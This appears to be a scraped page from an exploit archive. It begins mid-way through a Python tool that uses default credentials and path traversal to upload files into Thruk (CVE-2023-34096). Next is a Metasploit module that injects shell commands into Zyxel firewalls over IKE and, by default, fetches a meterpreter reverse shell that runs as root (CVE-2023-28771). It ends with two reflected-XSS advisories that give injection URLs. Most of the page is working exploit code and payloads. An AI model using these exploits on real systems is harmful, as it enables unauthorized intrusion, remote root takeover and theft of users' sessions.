points to a Thruk Monitoring Web Interface.")<br /> sys.exit(-1)<br /> else:<br /> # Extract version anchor tag<br /> version_link = html_soup.find_all("a", {"class": "link text-sm"})<br /><br /> if len(version_link) == 1 and version_link[0].has_attr('href'):<br /> thruk_version = version_link[0].text.strip()<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print(f"Detected Thruk Version (Public Banner): {thruk_version}\n")<br /> return thruk_version<br /> else:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("There was an error retrieving Thruk's version.")<br /> sys.exit(-1)<br /><br /><br />def get_error_info():<br /> """<br /> Function to cause an error in the target Thruk instance and collect additional information via web scraping.<br /> """<br /> # URL that will cause an error<br /> error_url = target + "//cgi-bin/login.cgi"<br /><br /> # Retrieve Any initial Cookies<br /> error_response = requests.get(error_url,<br /> headers=headers,<br /> allow_redirects=False,<br /> verify=False,<br /> timeout=10)<br /><br /> cprint("[*] ", "blue", attrs=['bold'], end = "")<br /> print("Trying to retrieve additional information...\n")<br /> try:<br /> # Search for the error tag<br /> html_soup = BeautifulSoup(error_response.text, "html.parser")<br /> error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text<br /> if len(error_report) > 0:<br /> # Print Error Info<br /> error_report = error_report[error_report.find("Version"):error_report.find("\n\nStack")]<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print("Recovered Information: \n")<br /> parsed_error_report = error_report.split("\n")<br /> for error_line in parsed_error_report:<br /> print(f" {error_line}")<br /> except:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("No additional information available.\n")<br /><br /><br />def get_thruk_session_auto_login():<br /> """<br /> Function to login into the Thruk instance and retrieve a valid session.<br /> It will use default Thruk's credentials available here:<br /> - https://www.thruk.org/documentation/install.html<br /> <br /> Change credentials if required.<br /> """<br /> # Default Credentials - Change if required<br /> username = "thrukadmin" # CHANGE ME<br /> password = "thrukadmin" # CHANGE ME<br /> params = {"login": username, "password": password}<br /><br /> cprint("[*] ", "blue", attrs=['bold'], end = "")<br /> print(f"Trying to autenticate with provided credentials: {username}/{password}\n")<br /><br /> # Define Login URL<br /> login_url = "cgi-bin/login.cgi"<br /><br /> session = requests.Session()<br /> # Retrieve Any initial Cookies<br /> session.get(target, headers=headers, allow_redirects=True, verify=False)<br /><br /> # Login and get thruk_auth Cookie<br /> session.post(target + login_url, data=params, headers=headers, allow_redirects=False, verify=False)<br /><br /> # Get Cookies as dictionary<br /> cookies = session.cookies.get_dict()<br /><br /> # Successful Login<br /> if cookies.get('thruk_auth') is not None:<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print("Successful Authentication!\n")<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print(f"Login Cookie: thruk_auth={cookies.get('thruk_auth')}\n")<br /> return session<br /> # Failed Login<br /> else:<br /> if cookies.get('thruk_message') == "fail_message~~login%20failed":<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("Login Failed, check your credentials.")<br /> sys.exit(401)<br /><br /><br />def cve_2023_34096_exploit_path_traversal(logged_session):<br /> """<br /> Function that attempts to exploit the Path Traversal Vulnerability.<br /> The exploit will try to upload a PoC file to multiple common folders.<br /> This to prevent permissions errors to cause false negatives.<br /> """<br /> cprint("[*] ", "blue", attrs=['bold'], end = "")<br /> print("Trying to exploit: ", end = "")<br /> cprint("CVE-2023-34096 - Path Traversal\n", "yellow", attrs=['bold'])<br /><br /> # Define Upload URL<br /> upload_url = "cgi-bin/panorama.cgi"<br /><br /> # Absolute paths<br /> common_folders = ["/tmp/",<br /> "/etc/thruk/plugins/plugins-enabled/",<br /> "/etc/thruk/panorama/",<br /> "/etc/thruk/bp/",<br /> "/etc/thruk/thruk_local.d/",<br /> "/var/www/",<br /> "/var/www/html/",<br /> "/etc/",<br /> ]<br /><br /> # Upload PoC file to each folder<br /> for target_folder in common_folders:<br /> # PoC file extension is jpg due to regex validations of Thruk.<br /> # Nevertheless this issue can still cause damage in different ways to the affected instance.<br /> files = {'image': ("exploit.jpg", "CVE-2023-34096-Exploit-PoC-by-galoget")}<br /> data = {"task": "upload",<br /> "type": "image",<br /> "location": f"backgrounds/../../../..{target_folder}"<br /> }<br /><br /> upload_response = logged_session.post(target + upload_url,<br /> data=data,<br /> files=files,<br /> headers=headers,<br /> allow_redirects=False,<br /> verify=False)<br /><br /> try:<br /> upload_response = upload_response.json()<br /> if upload_response.get("msg") == "Upload successfull" and upload_response.get("success") is True:<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print(f"File successfully uploaded to folder: {target_folder}{files.get('image')[0]}\n")<br /> elif upload_response.get("msg") == "Fileupload must use existing and writable folder.":<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print(f"File upload to folder \'{target_folder}{files.get('image')[0]}\' failed due to write permissions or non-existent folder!\n")<br /> else:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("File upload failed.\n")<br /> except:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("File upload failed.\n")<br /><br /><br /><br />if __name__ == "__main__":<br /> banner()<br /> usage_instructions()<br /><br /> # Change this with the domain or IP address to attack<br /> if sys.argv[1] and sys.argv[1].startswith("http"):<br /> target = sys.argv[1]<br /> else:<br /> target = "http://127.0.0.1/thruk/"<br /><br /> # Prepare Base Target URL<br /> if not target.endswith('/'):<br /> target += "/"<br /><br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print(f"Target URL: {target}\n")<br /><br /> # Get Thruk version via web scraping<br /> scraped_thruk_version = get_thruk_version()<br /><br /> # Send a request that will generate an error and collect extra info<br /> get_error_info()<br /><br /> # Check if the instance is vulnerable to CVE-2023-34096<br /> vulnerable_status = check_vulnerability(scraped_thruk_version)<br /><br /> if vulnerable_status:<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print("The Thruk version found in this host is vulnerable to CVE-2023-34096. Do you want to try to exploit it?")<br /><br /> # Confirm exploitation<br /> option = input("\nChoice (Y/N): ").lower()<br /> print("")<br /><br /> if option == "y":<br /> cprint("[*] ", "blue", attrs=['bold'], end = "")<br /> print("The tool will attempt to exploit the vulnerability by uploading a PoC file to common folders...\n")<br /> # Login into Thruk instance<br /> valid_session = get_thruk_session_auto_login()<br /> # Exploit Path Traversal Vulnerability<br /> cve_2023_34096_exploit_path_traversal(valid_session)<br /> elif option == "n":<br /> cprint("[*] ", "blue", attrs=['bold'], end = "")<br /> print("No exploitation attempts were performed, Goodbye!\n")<br /> sys.exit(0)<br /> else:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("Unknown option entered.")<br /> sys.exit(1)<br /> else:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("The current Thruk's version is NOT VULNERABLE to CVE-2023-34096.")<br /> sys.exit(2)<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = GreatRanking<br /><br /> include Msf::Exploit::Remote::Udp<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution',<br /> 'Description' => %q{<br /> This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange<br /> (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are<br /> as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),<br /> VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The<br /> affected devices are vulnerable in a default configuration and command execution is with root privileges.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'sf', # MSF Exploit & Rapid7 Analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-28771'],<br /> ['URL', 'https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis'],<br /> ['URL', 'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls']<br /> ],<br /> 'DisclosureDate' => '2023-03-31',<br /> 'Platform' => %w[unix linux],<br /> 'Arch' => [ARCH_CMD],<br /> 'Privileged' => true, # Code execution as 'root'<br /> 'DefaultOptions' => {<br /> # We default to a meterpreter payload delivered via a fetch HTTP adapter.<br /> # Another good payload choice is cmd/unix/reverse_bash.<br /> 'PAYLOAD' => 'cmd/linux/http/mips64/meterpreter_reverse_tcp',<br /> 'FETCH_WRITABLE_DIR' => '/tmp',<br /> 'FETCH_COMMAND' => 'CURL'<br /> },<br /> 'Targets' => [ [ 'Default', {} ] ],<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart.<br /> 'Stability' => [CRASH_SERVICE_RESTARTS],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> Opt::RPORT(500)<br /> ]<br /> )<br /> end<br /><br /> def check<br /> connect_udp<br /><br /> # Check for the Internet Key Exchange (IKE) service by sending an IKEv1 header with no payload. We can<br /> # expect to receive an IKE reply containing a Notification payload with a PAYLOAD-MALFORMED message.<br /><br /> # In a default configuration, there appears no known method to identify the platform vendor or version<br /> # number, so we cannot identify a CheckCode other than CheckCode::Detected or CheckCode::Unknown.<br /> # If a VPN is configured on the target device, we may receive a Vendor ID corresponding to Zyxel, but we<br /> # still would not be able to identify the version number of the target service.<br /><br /> ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI<br /> ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI<br /> ikev2_header << [0].pack('C') # Next Payload: None - 0<br /> ikev2_header << [16].pack('C') # Version: 1.0 - 16 (0x10)<br /> ikev2_header << [2].pack('C') # Exchange Type: Identity Protection - 2<br /> ikev2_header << [0].pack('C') # Flags: None - 0<br /> ikev2_header << [0].pack('N') # ID: 0<br /> ikev2_header << [ikev2_header.length + 4].pack('N') # Length<br /><br /> udp_sock.put(ikev2_header)<br /><br /> ikev2_reply = udp_sock.get(udp_sock.def_read_timeout)<br /><br /> disconnect_udp<br /><br /> if !ikev2_reply.empty? && (ikev2_reply.length >= 40) &&<br /> # Ensure the response 'Initiator SPI' field is the same as the original one sent.<br /> (ikev2_reply[0, 8] == ikev2_header[0, 8]) &&<br /> # Ensure the 'Next Payload' field is Notification (11)<br /> (ikev2_reply[16, 1].unpack('C').first == 11 &&<br /> # Ensure the 'Exchange Type' field is Informational (5)<br /> (ikev2_reply[18, 1].unpack('C').first == 5)) &&<br /> # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16)<br /> (ikev2_reply[38, 2].unpack('n').first == 16)<br /> return CheckCode::Detected('IKE detected but device vendor and service version are unknown.')<br /> end<br /><br /> CheckCode::Unknown<br /> end<br /><br /> def exploit<br /> execute_command(payload.encoded)<br /> end<br /><br /> def execute_command(cmd)<br /> connect_udp<br /><br /> cmd_injection = "\";bash -c \"#{cmd}\";echo -n \""<br /><br /> # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the<br /> # log file. As such the decoded value must not have any null terminator values as these will break our command<br /> # payload. Therefore we use the below known good value that will decode to a suitable string, allowing the cmd<br /> # injection payload to work as expected.<br /> haxb48 = 'HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB'<br /><br /> ikev2_payload = [0].pack('C') # Next Payload: None - 0<br /> ikev2_payload << [0].pack('C') # Reserved: 0<br /> ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') # Length: 8 byte header + Notification Data<br /> ikev2_payload << [1].pack('C') # Protocol ID: ISAKMP - 1<br /> ikev2_payload << [0].pack('C') # SPI Size: None - 0<br /> ikev2_payload << [14].pack('n') # Type: NO_PROPOSAL_CHOSEN - 14 (0x0E)<br /> ikev2_payload << haxb48 + cmd_injection # Notification Data<br /><br /> ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI<br /> ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI<br /> ikev2_header << [41].pack('C') # Next Payload: Notify - 41 (0x29)<br /> ikev2_header << [32].pack('C') # Version: 2.0 - 32 (0x20)<br /> ikev2_header << [34].pack('C') # Exchange Type: IKE_SA_INIT - 34 (0x22)<br /> ikev2_header << [8].pack('C') # Flags: Initiator - 8<br /> ikev2_header << [0].pack('N') # ID: 0<br /> ikev2_header << [ikev2_header.length + 4 + ikev2_payload.length].pack('N') # Length<br /><br /> packet = ikev2_header << ikev2_payload<br /><br /> udp_sock.put(packet)<br /><br /> disconnect_udp<br /> end<br /><br />end<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://www.codester.com/items/39478/ │<br />│ Vendor : Bwiresoft │<br />│ Software : Codemonkey Multi Vendor Digital Product Mart 1.0 │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /search<br /><br />GET parameter 'keyword' is vulnerable to RXSS<br /><br />https://website/search?keyword=ohv4i<script>alert(1)</script>f6pt8&category=all<br /><br /><br />Path: /login<br /><br />GET parameter 'red' is vulnerable to RXSS<br /><br />https://website/login?red=vp6bx"><script>alert(1)</script>ik2tx<br /><br /><br />[-] Done<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://www.codester.com/items/39492/ - https://mybizcms.com/ │<br />│ Vendor : Emporium │<br />│ Software : Scriptio 1.4 (An online text scripts sharing and selling platform) │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJobd<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /search<br /><br />GET parameter 'pg' is vulnerable to RXSS<br /><br />https://website/search?q=&pg=ohv4i<script>alert(1)</script>f6pt8<br /><br /><br />[-] Done<br /></code></pre>